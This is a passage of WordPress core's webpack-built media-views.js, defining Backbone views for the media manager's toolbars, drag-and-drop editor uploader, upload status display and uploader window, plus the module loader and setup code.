9347 *
9348 * @class
9349 * @augments wp.media.View
9350 * @augments wp.Backbone.View
9351 * @augments Backbone.View
9352 */
9353Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{
9354 tagName: 'div',
9355 className: 'media-toolbar',
9356
9357 initialize: function() {
9358 var state = this.controller.state(),
9359 selection = this.selection = state.get('selection'),
9360 library = this.library = state.get('library');
9361
9362 this._views = {};
9363
9364 // The toolbar is composed of two `PriorityList` views.
9365 this.primary = new wp.media.view.PriorityList();
9366 this.secondary = new wp.media.view.PriorityList();
9367 this.tertiary = new wp.media.view.PriorityList();
9368 this.primary.$el.addClass('media-toolbar-primary search-form');
9369 this.secondary.$el.addClass('media-toolbar-secondary');
9370 this.tertiary.$el.addClass('media-bg-overlay');
9371
9372 this.views.set([ this.secondary, this.primary, this.tertiary ]);
9373
9374 if ( this.options.items ) {
9375 this.set( this.options.items, { silent: true });
9376 }
9377
9378 if ( ! this.options.silent ) {
9379 this.render();
9380 }
9381
9382 if ( selection ) {
9383 selection.on( 'add remove reset', this.refresh, this );
9384 }
9385
9386 if ( library ) {
9387 library.on( 'add remove reset', this.refresh, this );
9388 }
9389 },
9390 /**
9391 * @return {wp.media.view.Toolbar} Returns itself to allow chaining
9392 */
9393 dispose: function() {
9394 if ( this.selection ) {
9395 this.selection.off( null, null, this );
9396 }
9397
9398 if ( this.library ) {
9399 this.library.off( null, null, this );
9400 }
9401 /**
9402 * call 'dispose' directly on the parent class
9403 */
9404 return View.prototype.dispose.apply( this, arguments );
9405 },
9406
9407 ready: function() {
9408 this.refresh();
9409 },
9410
9411 /**
9412 * @param {string} id
9413 * @param {Backbone.View|Object} view
9414 * @param {Object} [options={}]
9415 * @return {wp.media.view.Toolbar} Returns itself to allow chaining.
9416 */
9417 set: function( id, view, options ) {
9418 var list;
9419 options = options || {};
9420
9421 // Accept an object with an `id` : `view` mapping.
9422 if ( _.isObject( id ) ) {
9423 _.each( id, function( view, id ) {
9424 this.set( id, view, { silent: true });
9425 }, this );
9426
9427 } else {
9428 if ( ! ( view instanceof Backbone.View ) ) {
9429 view.classes = [ 'media-button-' + id ].concat( view.classes || [] );
9430 view = new wp.media.view.Button( view ).render();
9431 }
9432
9433 view.controller = view.controller || this.controller;
9434
9435 this._views[ id ] = view;
9436
9437 list = view.options.priority < 0 ? 'secondary' : 'primary';
9438 this[ list ].set( id, view, options );
9439 }
9440
9441 if ( ! options.silent ) {
9442 this.refresh();
9443 }
9444
9445 return this;
9446 },
9447 /**
9448 * @param {string} id
9449 * @return {wp.media.view.Button}
9450 */
9451 get: function( id ) {
9452 return this._views[ id ];
9453 },
9454 /**
9455 * @param {string} id
9456 * @param {Object} options
9457 * @return {wp.media.view.Toolbar} Returns itself to allow chaining.
9458 */
9459 unset: function( id, options ) {
9460 delete this._views[ id ];
9461 this.primary.unset( id, options );
9462 this.secondary.unset( id, options );
9463 this.tertiary.unset( id, options );
9464
9465 if ( ! options || ! options.silent ) {
9466 this.refresh();
9467 }
9468 return this;
9469 },
9470
9471 refresh: function() {
9472 var state = this.controller.state(),
9473 library = state.get('library'),
9474 selection = state.get('selection');
9475
9476 _.each( this._views, function( button ) {
9477 if ( ! button.model || ! button.options || ! button.options.requires ) {
9478 return;
9479 }
9480
9481 var requires = button.options.requires,
9482 disabled = false,
9483 modelsUploading = library && ! _.isEmpty( library.findWhere( { 'uploading': true } ) );
9484
9485 // Prevent insertion of attachments if any of them are still uploading.
9486 if ( selection && selection.models ) {
9487 disabled = _.some( selection.models, function( attachment ) {
9488 return attachment.get('uploading') === true;
9489 });
9490 }
9491 if ( requires.uploadingComplete && modelsUploading ) {
9492 disabled = true;
9493 }
9494
9495 if ( requires.selection && selection && ! selection.length ) {
9496 disabled = true;
9497 } else if ( requires.library && library && ! library.length ) {
9498 disabled = true;
9499 }
9500 button.model.set( 'disabled', disabled );
9501 });
9502 }
9503});
9504
9505module.exports = Toolbar;
9506
9507
9508/***/ },
9509
9510/***/ 397
9511(module) {
9512
9513var Select = wp.media.view.Toolbar.Select,
9514 l10n = wp.media.view.l10n,
9515 Embed;
9516
9517/**
9518 * wp.media.view.Toolbar.Embed
9519 *
9520 * @memberOf wp.media.view.Toolbar
9521 *
9522 * @class
9523 * @augments wp.media.view.Toolbar.Select
9524 * @augments wp.media.view.Toolbar
9525 * @augments wp.media.View
9526 * @augments wp.Backbone.View
9527 * @augments Backbone.View
9528 */
9529Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{
9530 initialize: function() {
9531 _.defaults( this.options, {
9532 text: l10n.insertIntoPost,
9533 requires: false
9534 });
9535 // Call 'initialize' directly on the parent class.
9536 Select.prototype.initialize.apply( this, arguments );
9537 },
9538
9539 refresh: function() {
9540 var url = this.controller.state().props.get('url');
9541 this.get('select').model.set( 'disabled', ! url || url === 'http://' );
9542 /**
9543 * call 'refresh' directly on the parent class
9544 */
9545 Select.prototype.refresh.apply( this, arguments );
9546 }
9547});
9548
9549module.exports = Embed;
9550
9551
9552/***/ },
9553
9554/***/ 9458
9555(module) {
9556
9557var Toolbar = wp.media.view.Toolbar,
9558 l10n = wp.media.view.l10n,
9559 Select;
9560
9561/**
9562 * wp.media.view.Toolbar.Select
9563 *
9564 * @memberOf wp.media.view.Toolbar
9565 *
9566 * @class
9567 * @augments wp.media.view.Toolbar
9568 * @augments wp.media.View
9569 * @augments wp.Backbone.View
9570 * @augments Backbone.View
9571 */
9572Select = Toolbar.extend(/** @lends wp.media.view.Toolbar.Select.prototype */{
9573 initialize: function() {
9574 var options = this.options;
9575
9576 _.bindAll( this, 'clickSelect' );
9577
9578 _.defaults( options, {
9579 event: 'select',
9580 state: false,
9581 reset: true,
9582 close: true,
9583 text: l10n.select,
9584
9585 // Does the button rely on the selection?
9586 requires: {
9587 selection: true
9588 }
9589 });
9590
9591 options.items = _.defaults( options.items || {}, {
9592 select: {
9593 style: 'primary',
9594 text: options.text,
9595 priority: 80,
9596 click: this.clickSelect,
9597 requires: options.requires
9598 }
9599 });
9600 // Call 'initialize' directly on the parent class.
9601 Toolbar.prototype.initialize.apply( this, arguments );
9602 },
9603
9604 clickSelect: function() {
9605 var options = this.options,
9606 controller = this.controller;
9607
9608 if ( options.close ) {
9609 controller.close();
9610 }
9611
9612 if ( options.event ) {
9613 controller.state().trigger( options.event );
9614 }
9615
9616 if ( options.state ) {
9617 controller.setState( options.state );
9618 }
9619
9620 if ( options.reset ) {
9621 controller.reset();
9622 }
9623 }
9624});
9625
9626module.exports = Select;
9627
9628
9629/***/ },
9630
9631/***/ 3674
9632(module) {
9633
9634var View = wp.media.View,
9635 l10n = wp.media.view.l10n,
9636 $ = jQuery,
9637 EditorUploader;
9638
9639/**
9640 * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap)
9641 * and relays drag'n'dropped files to a media workflow.
9642 *
9643 * wp.media.view.EditorUploader
9644 *
9645 * @memberOf wp.media.view
9646 *
9647 * @class
9648 * @augments wp.media.View
9649 * @augments wp.Backbone.View
9650 * @augments Backbone.View
9651 */
9652EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{
9653 tagName: 'div',
9654 className: 'uploader-editor',
9655 template: wp.template( 'uploader-editor' ),
9656
9657 localDrag: false,
9658 overContainer: false,
9659 overDropzone: false,
9660 draggingFile: null,
9661
9662 /**
9663 * Bind drag'n'drop events to callbacks.
9664 */
9665 initialize: function() {
9666 this.initialized = false;
9667
9668 // Bail if not enabled or UA does not support drag'n'drop or File API.
9669 if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) {
9670 return this;
9671 }
9672
9673 this.$document = $(document);
9674 this.dropzones = [];
9675 this.files = [];
9676
9677 this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) );
9678 this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) );
9679 this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) );
9680 this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) );
9681
9682 this.$document.on( 'dragover', _.bind( this.containerDragover, this ) );
9683 this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) );
9684
9685 this.$document.on( 'dragstart dragend drop', _.bind( function( event ) {
9686 this.localDrag = event.type === 'dragstart';
9687
9688 if ( event.type === 'drop' ) {
9689 this.containerDragleave();
9690 }
9691 }, this ) );
9692
9693 this.initialized = true;
9694 return this;
9695 },
9696
9697 /**
9698 * Check browser support for drag'n'drop.
9699 *
9700 * @return {boolean}
9701 */
9702 browserSupport: function() {
9703 var supports = false, div = document.createElement('div');
9704
9705 supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div );
9706 supports = supports && !! ( window.File && window.FileList && window.FileReader );
9707 return supports;
9708 },
9709
9710 isDraggingFile: function( event ) {
9711 if ( this.draggingFile !== null ) {
9712 return this.draggingFile;
9713 }
9714
9715 if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) {
9716 return false;
9717 }
9718
9719 this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 &&
9720 _.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1;
9721
9722 return this.draggingFile;
9723 },
9724
9725 refresh: function( e ) {
9726 var dropzone_id;
9727 for ( dropzone_id in this.dropzones ) {
9728 // Hide the dropzones only if dragging has left the screen.
9729 this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone );
9730 }
9731
9732 if ( ! _.isUndefined( e ) ) {
9733 $( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone );
9734 }
9735
9736 if ( ! this.overContainer && ! this.overDropzone ) {
9737 this.draggingFile = null;
9738 }
9739
9740 return this;
9741 },
9742
9743 render: function() {
9744 if ( ! this.initialized ) {
9745 return this;
9746 }
9747
9748 View.prototype.render.apply( this, arguments );
9749 $( '.wp-editor-wrap' ).each( _.bind( this.attach, this ) );
9750 return this;
9751 },
9752
9753 attach: function( index, editor ) {
9754 // Attach a dropzone to an editor.
9755 var dropzone = this.$el.clone();
9756 this.dropzones.push( dropzone );
9757 $( editor ).append( dropzone );
9758 return this;
9759 },
9760
9761 /**
9762 * When a file is dropped on the editor uploader, open up an editor media workflow
9763 * and upload the file immediately.
9764 *
9765 * @param {jQuery.Event} event The 'drop' event.
9766 */
9767 drop: function( event ) {
9768 var $wrap, uploadView;
9769
9770 this.containerDragleave( event );
9771 this.dropzoneDragleave( event );
9772
9773 this.files = event.originalEvent.dataTransfer.files;
9774 if ( this.files.length < 1 ) {
9775 return;
9776 }
9777
9778 // Set the active editor to the drop target.
9779 $wrap = $( event.target ).parents( '.wp-editor-wrap' );
9780 if ( $wrap.length > 0 && $wrap[0].id ) {
9781 window.wpActiveEditor = $wrap[0].id.slice( 3, -5 );
9782 }
9783
9784 if ( ! this.workflow ) {
9785 this.workflow = wp.media.editor.open( window.wpActiveEditor, {
9786 frame: 'post',
9787 state: 'insert',
9788 title: l10n.addMedia,
9789 multiple: true
9790 });
9791
9792 uploadView = this.workflow.uploader;
9793
9794 if ( uploadView.uploader && uploadView.uploader.ready ) {
9795 this.addFiles.apply( this );
9796 } else {
9797 this.workflow.on( 'uploader:ready', this.addFiles, this );
9798 }
9799 } else {
9800 this.workflow.state().reset();
9801 this.addFiles.apply( this );
9802 this.workflow.open();
9803 }
9804
9805 return false;
9806 },
9807
9808 /**
9809 * Add the files to the uploader.
9810 */
9811 addFiles: function() {
9812 if ( this.files.length ) {
9813 this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) );
9814 this.files = [];
9815 }
9816 return this;
9817 },
9818
9819 containerDragover: function( event ) {
9820 if ( this.localDrag || ! this.isDraggingFile( event ) ) {
9821 return;
9822 }
9823
9824 this.overContainer = true;
9825 this.refresh();
9826 },
9827
9828 containerDragleave: function() {
9829 this.overContainer = false;
9830
9831 // Throttle dragleave because it's called when bouncing from some elements to others.
9832 _.delay( _.bind( this.refresh, this ), 50 );
9833 },
9834
9835 dropzoneDragover: function( event ) {
9836 if ( this.localDrag || ! this.isDraggingFile( event ) ) {
9837 return;
9838 }
9839
9840 this.overDropzone = true;
9841 this.refresh( event );
9842 return false;
9843 },
9844
9845 dropzoneDragleave: function( e ) {
9846 this.overDropzone = false;
9847 _.delay( _.bind( this.refresh, this, e ), 50 );
9848 },
9849
9850 click: function( e ) {
9851 // In the rare case where the dropzone gets stuck, hide it on click.
9852 this.containerDragleave( e );
9853 this.dropzoneDragleave( e );
9854 this.localDrag = false;
9855 }
9856});
9857
9858module.exports = EditorUploader;
9859
9860
9861/***/ },
9862
9863/***/ 1753
9864(module) {
9865
9866var View = wp.media.View,
9867 UploaderInline;
9868
9869/**
9870 * wp.media.view.UploaderInline
9871 *
9872 * The inline uploader that shows up in the 'Upload Files' tab.
9873 *
9874 * @memberOf wp.media.view
9875 *
9876 * @class
9877 * @augments wp.media.View
9878 * @augments wp.Backbone.View
9879 * @augments Backbone.View
9880 */
9881UploaderInline = View.extend(/** @lends wp.media.view.UploaderInline.prototype */{
9882 tagName: 'div',
9883 className: 'uploader-inline',
9884 template: wp.template('uploader-inline'),
9885
9886 events: {
9887 'click .close': 'hide'
9888 },
9889
9890 initialize: function() {
9891 _.defaults( this.options, {
9892 message: '',
9893 status: true,
9894 canClose: false
9895 });
9896
9897 if ( ! this.options.$browser && this.controller.uploader ) {
9898 this.options.$browser = this.controller.uploader.$browser;
9899 }
9900
9901 if ( _.isUndefined( this.options.postId ) ) {
9902 this.options.postId = wp.media.view.settings.post.id;
9903 }
9904
9905 if ( this.options.status ) {
9906 this.views.set( '.upload-inline-status', new wp.media.view.UploaderStatus({
9907 controller: this.controller
9908 }) );
9909 }
9910 },
9911
9912 prepare: function() {
9913 var suggestedWidth = this.controller.state().get('suggestedWidth'),
9914 suggestedHeight = this.controller.state().get('suggestedHeight'),
9915 data = {};
9916
9917 data.message = this.options.message;
9918 data.canClose = this.options.canClose;
9919
9920 if ( suggestedWidth && suggestedHeight ) {
9921 data.suggestedWidth = suggestedWidth;
9922 data.suggestedHeight = suggestedHeight;
9923 }
9924
9925 return data;
9926 },
9927 /**
9928 * @return {wp.media.view.UploaderInline} Returns itself to allow chaining.
9929 */
9930 dispose: function() {
9931 if ( this.disposing ) {
9932 /**
9933 * call 'dispose' directly on the parent class
9934 */
9935 return View.prototype.dispose.apply( this, arguments );
9936 }
9937
9938 /*
9939 * Run remove on `dispose`, so we can be sure to refresh the
9940 * uploader with a view-less DOM. Track whether we're disposing
9941 * so we don't trigger an infinite loop.
9942 */
9943 this.disposing = true;
9944 return this.remove();
9945 },
9946 /**
9947 * @return {wp.media.view.UploaderInline} Returns itself to allow chaining.
9948 */
9949 remove: function() {
9950 /**
9951 * call 'remove' directly on the parent class
9952 */
9953 var result = View.prototype.remove.apply( this, arguments );
9954
9955 _.defer( _.bind( this.refresh, this ) );
9956 return result;
9957 },
9958
9959 refresh: function() {
9960 var uploader = this.controller.uploader;
9961
9962 if ( uploader ) {
9963 uploader.refresh();
9964 }
9965 },
9966 /**
9967 * @return {wp.media.view.UploaderInline}
9968 */
9969 ready: function() {
9970 var $browser = this.options.$browser,
9971 $placeholder;
9972
9973 if ( this.controller.uploader ) {
9974 $placeholder = this.$('.browser');
9975
9976 // Check if we've already replaced the placeholder.
9977 if ( $placeholder[0] === $browser[0] ) {
9978 return;
9979 }
9980
9981 $browser.detach().text( $placeholder.text() );
9982 $browser[0].className = $placeholder[0].className;
9983 $browser[0].setAttribute( 'aria-describedby', $placeholder[0].getAttribute('aria-describedby') );
9984 $placeholder.replaceWith( $browser.show() );
9985 }
9986
9987 this.refresh();
9988 return this;
9989 },
9990 show: function() {
9991 this.$el.removeClass( 'hidden' );
9992 if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
9993 this.controller.$uploaderToggler.attr( 'aria-expanded', 'true' );
9994 }
9995 },
9996 hide: function() {
9997 this.$el.addClass( 'hidden' );
9998 if ( this.controller.$uploaderToggler && this.controller.$uploaderToggler.length ) {
9999 this.controller.$uploaderToggler
10000 .attr( 'aria-expanded', 'false' )
10001 // Move focus back to the toggle button when closing the uploader.
10002 .trigger( 'focus' );
10003 }
10004 }
10005
10006});
10007
10008module.exports = UploaderInline;
10009
10010
10011/***/ },
10012
10013/***/ 6442
10014(module) {
10015
10016/**
10017 * wp.media.view.UploaderStatusError
10018 *
10019 * @memberOf wp.media.view
10020 *
10021 * @class
10022 * @augments wp.media.View
10023 * @augments wp.Backbone.View
10024 * @augments Backbone.View
10025 */
10026var UploaderStatusError = wp.media.View.extend(/** @lends wp.media.view.UploaderStatusError.prototype */{
10027 className: 'upload-error',
10028 template: wp.template('uploader-status-error')
10029});
10030
10031module.exports = UploaderStatusError;
10032
10033
10034/***/ },
10035
10036/***/ 8197
10037(module) {
10038
10039var View = wp.media.View,
10040 UploaderStatus;
10041
10042/**
10043 * wp.media.view.UploaderStatus
10044 *
10045 * An uploader status for on-going uploads.
10046 *
10047 * @memberOf wp.media.view
10048 *
10049 * @class
10050 * @augments wp.media.View
10051 * @augments wp.Backbone.View
10052 * @augments Backbone.View
10053 */
10054UploaderStatus = View.extend(/** @lends wp.media.view.UploaderStatus.prototype */{
10055 className: 'media-uploader-status',
10056 template: wp.template('uploader-status'),
10057
10058 events: {
10059 'click .upload-dismiss-errors': 'dismiss'
10060 },
10061
10062 initialize: function() {
10063 this.queue = wp.Uploader.queue;
10064 this.queue.on( 'add remove reset', this.visibility, this );
10065 this.queue.on( 'add remove reset change:percent', this.progress, this );
10066 this.queue.on( 'add remove reset change:uploading', this.info, this );
10067
10068 this.errors = wp.Uploader.errors;
10069 this.errors.reset();
10070 this.errors.on( 'add remove reset', this.visibility, this );
10071 this.errors.on( 'add', this.error, this );
10072 },
10073 /**
10074 * @return {wp.media.view.UploaderStatus}
10075 */
10076 dispose: function() {
10077 wp.Uploader.queue.off( null, null, this );
10078 /**
10079 * call 'dispose' directly on the parent class
10080 */
10081 View.prototype.dispose.apply( this, arguments );
10082 return this;
10083 },
10084
10085 visibility: function() {
10086 this.$el.toggleClass( 'uploading', !! this.queue.length );
10087 this.$el.toggleClass( 'errors', !! this.errors.length );
10088 this.$el.toggle( !! this.queue.length || !! this.errors.length );
10089 },
10090
10091 ready: function() {
10092 _.each({
10093 '$bar': '.media-progress-bar div',
10094 '$index': '.upload-index',
10095 '$total': '.upload-total',
10096 '$filename': '.upload-filename'
10097 }, function( selector, key ) {
10098 this[ key ] = this.$( selector );
10099 }, this );
10100
10101 this.visibility();
10102 this.progress();
10103 this.info();
10104 },
10105
10106 progress: function() {
10107 var queue = this.queue,
10108 $bar = this.$bar;
10109
10110 if ( ! $bar || ! queue.length ) {
10111 return;
10112 }
10113
10114 $bar.width( ( queue.reduce( function( memo, attachment ) {
10115 if ( ! attachment.get('uploading') ) {
10116 return memo + 100;
10117 }
10118
10119 var percent = attachment.get('percent');
10120 return memo + ( _.isNumber( percent ) ? percent : 100 );
10121 }, 0 ) / queue.length ) + '%' );
10122 },
10123
10124 info: function() {
10125 var queue = this.queue,
10126 index = 0, active;
10127
10128 if ( ! queue.length ) {
10129 return;
10130 }
10131
10132 active = this.queue.find( function( attachment, i ) {
10133 index = i;
10134 return attachment.get('uploading');
10135 });
10136
10137 if ( this.$index && this.$total && this.$filename ) {
10138 this.$index.text( index + 1 );
10139 this.$total.text( queue.length );
10140 this.$filename.html( active ? this.filename( active.get('filename') ) : '' );
10141 }
10142 },
10143 /**
10144 * @param {string} filename
10145 * @return {string}
10146 */
10147 filename: function( filename ) {
10148 return _.escape( filename );
10149 },
10150 /**
10151 * @param {Backbone.Model} error
10152 */
10153 error: function( error ) {
10154 var statusError = new wp.media.view.UploaderStatusError( {
10155 filename: this.filename( error.get( 'file' ).name ),
10156 message: error.get( 'message' )
10157 } );
10158
10159 var buttonClose = this.$el.find( 'button' );
10160
10161 // Can show additional info here while retrying to create image sub-sizes.
10162 this.views.add( '.upload-errors', statusError, { at: 0 } );
10163 _.delay( function() {
10164 buttonClose.trigger( 'focus' );
10165 }, 1000 );
10166
10167 _.delay( function() {
10168 wp.a11y.speak( error.get( 'message' ) );
10169 }, 1500 );
10170 },
10171
10172 dismiss: function() {
10173 var errors = this.views.get('.upload-errors');
10174
10175 if ( errors ) {
10176 _.invoke( errors, 'remove' );
10177 }
10178 wp.Uploader.errors.reset();
10179 wp.a11y.speak( wp.i18n.__( 'Error dismissed.' ) );
10180 // Move focus to the modal after the dismiss button gets removed from the DOM.
10181 if ( this.controller.modal ) {
10182 this.controller.modal.focusManager.focus();
10183 }
10184 }
10185});
10186
10187module.exports = UploaderStatus;
10188
10189
10190/***/ },
10191
10192/***/ 8291
10193(module) {
10194
10195var $ = jQuery,
10196 UploaderWindow;
10197
10198/**
10199 * wp.media.view.UploaderWindow
10200 *
10201 * An uploader window that allows for dragging and dropping media.
10202 *
10203 * @memberOf wp.media.view
10204 *
10205 * @class
10206 * @augments wp.media.View
10207 * @augments wp.Backbone.View
10208 * @augments Backbone.View
10209 *
10210 * @param {object} [options] Options hash passed to the view.
10211 * @param {object} [options.uploader] Uploader properties.
10212 * @param {jQuery} [options.uploader.browser]
10213 * @param {jQuery} [options.uploader.dropzone] jQuery collection of the dropzone.
10214 * @param {object} [options.uploader.params]
10215 */
10216UploaderWindow = wp.media.View.extend(/** @lends wp.media.view.UploaderWindow.prototype */{
10217 tagName: 'div',
10218 className: 'uploader-window',
10219 template: wp.template('uploader-window'),
10220
10221 initialize: function() {
10222 var uploader;
10223
10224 this.$browser = $( '<button type="button" class="browser" />' ).hide().appendTo( 'body' );
10225
10226 uploader = this.options.uploader = _.defaults( this.options.uploader || {}, {
10227 dropzone: this.$el,
10228 browser: this.$browser,
10229 params: {}
10230 });
10231
10232 // Ensure the dropzone is a jQuery collection.
10233 if ( uploader.dropzone && ! (uploader.dropzone instanceof $) ) {
10234 uploader.dropzone = $( uploader.dropzone );
10235 }
10236
10237 this.controller.on( 'activate', this.refresh, this );
10238
10239 this.controller.on( 'detach', function() {
10240 this.$browser.remove();
10241 }, this );
10242 },
10243
10244 refresh: function() {
10245 if ( this.uploader ) {
10246 this.uploader.refresh();
10247 }
10248 },
10249
10250 ready: function() {
10251 var postId = wp.media.view.settings.post.id,
10252 dropzone;
10253
10254 // If the uploader already exists, bail.
10255 if ( this.uploader ) {
10256 return;
10257 }
10258
10259 if ( postId ) {
10260 this.options.uploader.params.post_id = postId;
10261 }
10262 this.uploader = new wp.Uploader( this.options.uploader );
10263
10264 dropzone = this.uploader.dropzone;
10265 dropzone.on( 'dropzone:enter', _.bind( this.show, this ) );
10266 dropzone.on( 'dropzone:leave', _.bind( this.hide, this ) );
10267
10268 $( this.uploader ).on( 'uploader:ready', _.bind( this._ready, this ) );
10269 },
10270
10271 _ready: function() {
10272 this.controller.trigger( 'uploader:ready' );
10273 },
10274
10275 show: function() {
10276 var $el = this.$el.show();
10277
10278 // Ensure that the animation is triggered by waiting until
10279 // the transparent element is painted into the DOM.
10280 _.defer( function() {
10281 $el.css({ opacity: 1 });
10282 });
10283 },
10284
10285 hide: function() {
10286 var $el = this.$el.css({ opacity: 0 });
10287
10288 wp.media.transition( $el ).done( function() {
10289 // Transition end events are subject to race conditions.
10290 // Make sure that the value is set as intended.
10291 if ( '0' === $el.css('opacity') ) {
10292 $el.hide();
10293 }
10294 });
10295
10296 // https://core.trac.wordpress.org/ticket/27341
10297 _.delay( function() {
10298 if ( '0' === $el.css('opacity') && $el.is(':visible') ) {
10299 $el.hide();
10300 }
10301 }, 500 );
10302 }
10303});
10304
10305module.exports = UploaderWindow;
10306
10307
10308/***/ },
10309
10310/***/ 4747
10311(module) {
10312
10313/**
10314 * wp.media.View
10315 *
10316 * The base view class for media.
10317 *
10318 * Undelegating events, removing events from the model, and
10319 * removing events from the controller mirror the code for
10320 * `Backbone.View.dispose` in Backbone 0.9.8 development.
10321 *
10322 * This behavior has since been removed, and should not be used
10323 * outside of the media manager.
10324 *
10325 * @memberOf wp.media
10326 *
10327 * @class
10328 * @augments wp.Backbone.View
10329 * @augments Backbone.View
10330 */
10331var View = wp.Backbone.View.extend(/** @lends wp.media.View.prototype */{
10332 constructor: function( options ) {
10333 if ( options && options.controller ) {
10334 this.controller = options.controller;
10335 }
10336 wp.Backbone.View.apply( this, arguments );
10337 },
10338 /**
10339 * @todo The internal comment mentions this might have been a stop-gap
10340 * before Backbone 0.9.8 came out. Figure out if Backbone core takes
10341 * care of this in Backbone.View now.
10342 *
10343 * @return {wp.media.View} Returns itself to allow chaining.
10344 */
10345 dispose: function() {
10346 /*
10347 * Undelegating events, removing events from the model, and
10348 * removing events from the controller mirror the code for
10349 * `Backbone.View.dispose` in Backbone 0.9.8 development.
10350 */
10351 this.undelegateEvents();
10352
10353 if ( this.model && this.model.off ) {
10354 this.model.off( null, null, this );
10355 }
10356
10357 if ( this.collection && this.collection.off ) {
10358 this.collection.off( null, null, this );
10359 }
10360
10361 // Unbind controller events.
10362 if ( this.controller && this.controller.off ) {
10363 this.controller.off( null, null, this );
10364 }
10365
10366 return this;
10367 },
10368 /**
10369 * @return {wp.media.View} Returns itself to allow chaining.
10370 */
10371 remove: function() {
10372 this.dispose();
10373 /**
10374 * call 'remove' directly on the parent class
10375 */
10376 return wp.Backbone.View.prototype.remove.apply( this, arguments );
10377 }
10378});
10379
10380module.exports = View;
10381
10382
10383/***/ }
10384
10385/******/ });
10386/************************************************************************/
10387/******/ // The module cache
10388/******/ var __webpack_module_cache__ = {};
10389/******/
10390/******/ // The require function
10391/******/ function __webpack_require__(moduleId) {
10392/******/ // Check if module is in cache
10393/******/ var cachedModule = __webpack_module_cache__[moduleId];
10394/******/ if (cachedModule !== undefined) {
10395/******/ return cachedModule.exports;
10396/******/ }
10397/******/ // Create a new module (and put it into the cache)
10398/******/ var module = __webpack_module_cache__[moduleId] = {
10399/******/ // no module.id needed
10400/******/ // no module.loaded needed
10401/******/ exports: {}
10402/******/ };
10403/******/
10404/******/ // Execute the module function
10405/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
10406/******/
10407/******/ // Return the exports of the module
10408/******/ return module.exports;
10409/******/ }
10410/******/
10411/************************************************************************/
10412/**
10413 * @output wp-includes/js/media-views.js
10414 */
10415
10416var media = wp.media,
10417 $ = jQuery,
10418 l10n;
10419
10420media.isTouchDevice = ( 'ontouchend' in document );
10421
10422// Link any localized strings.
10423l10n = media.view.l10n = window._wpMediaViewsL10n || {};
10424
10425// Link any settings.
10426media.view.settings = l10n.settings || {};
10427delete l10n.settings;
10428
10429// Copy the `post` setting over to the model settings.
10430media.model.settings.post = media.view.settings.post;
10431
10432// Check if the browser supports CSS 3.0 transitions.
10433$.support.transition = (function(){
10434 var style = document.documentElement.style,
10435 transitions = {
10436 WebkitTransition: 'webkitTransitionEnd',
10437 MozTransition: 'transitionend',
10438 OTransition: 'oTransitionEnd otransitionend',
10439 transition: 'transitionend'
10440 }, transition;
10441
10442 transition = _.find( _.keys( transitions ), function( transition ) {
10443 return ! _.isUndefined( style[ transition ] );
10444 });
10445
10446 return transition && {
10447 end: transitions[ transition ]
10448 };
10449}());
10450
10451/**
10452 * A shared event bus used to provide events into
10453 * the media workflows that 3rd-party devs can use to hook
10454 * in.
10455 */
10456media.events = _.extend( {}, Backbone.Events );
10457
10458/**
10459 * Makes it easier to bind events using transitions.
10460 *
10461 * @param {string} selector
10462 * @param {number} sensitivity
10463 * @return {Promise}
10464 */
10465media.transition = function( selector, sensitivity ) {
10466 var deferred = $.Deferred();
10467
10468 sensitivity = sensitivity || 2000;
10469
10470 if ( $.support.transition ) {
10471 if ( ! (selector instanceof $) ) {
10472 selector = $( selector );
10473 }
10474
10475 // Resolve the deferred when the first element finishes animating.
10476 selector.first().one( $.support.transition.end, deferred.resolve );
10477
10478 // Just in case the event doesn't trigger, fire a callback.
10479 _.delay( deferred.resolve, sensitivity );
10480
10481 // Otherwise, execute on the spot.
10482 } else {
10483 deferred.resolve();
10484 }
10485
10486 return deferred.promise();
10487};
10488
10489media.controller.Region = __webpack_require__( 9875 );
10490media.controller.StateMachine = __webpack_require__( 6150 );
10491media.controller.State = __webpack_require__( 5694 );
10492
10493media.selectionSync = __webpack_require__( 4181 );
10494media.controller.Library = __webpack_require__( 472 );
10495media.controller.ImageDetails = __webpack_require__( 705 );
10496media.controller.GalleryEdit = __webpack_require__( 2038 );
10497media.controller.GalleryAdd = __webpack_require__( 7127 );
10498media.controller.CollectionEdit = __webpack_require__( 8612 );
10499media.controller.CollectionAdd = __webpack_require__( 7145 );
10500media.controller.FeaturedImage = __webpack_require__( 1169 );
10501media.controller.ReplaceImage = __webpack_require__( 2275 );
10502media.controller.EditImage = __webpack_require__( 5663 );
10503media.controller.MediaLibrary = __webpack_require__( 8065 );
10504media.controller.Embed = __webpack_require__( 4910 );
10505media.controller.Cropper = __webpack_require__( 5422 );
10506media.controller.CustomizeImageCropper = __webpack_require__( 9660 );
10507media.controller.SiteIconCropper = __webpack_require__( 6172 );
10508
10509media.View = __webpack_require__( 4747 );
10510media.view.Frame = __webpack_require__( 1061 );
10511media.view.MediaFrame = __webpack_require__( 2836 );
10512media.view.MediaFrame.Select = __webpack_require__( 455 );
10513media.view.MediaFrame.Post = __webpack_require__( 4274 );
10514media.view.MediaFrame.ImageDetails = __webpack_require__( 5424 );
10515media.view.Modal = __webpack_require__( 2621 );
10516media.view.FocusManager = __webpack_require__( 718 );
10517media.view.UploaderWindow = __webpack_require__( 8291 );
10518media.view.EditorUploader = __webpack_require__( 3674 );
10519media.view.UploaderInline = __webpack_require__( 1753 );
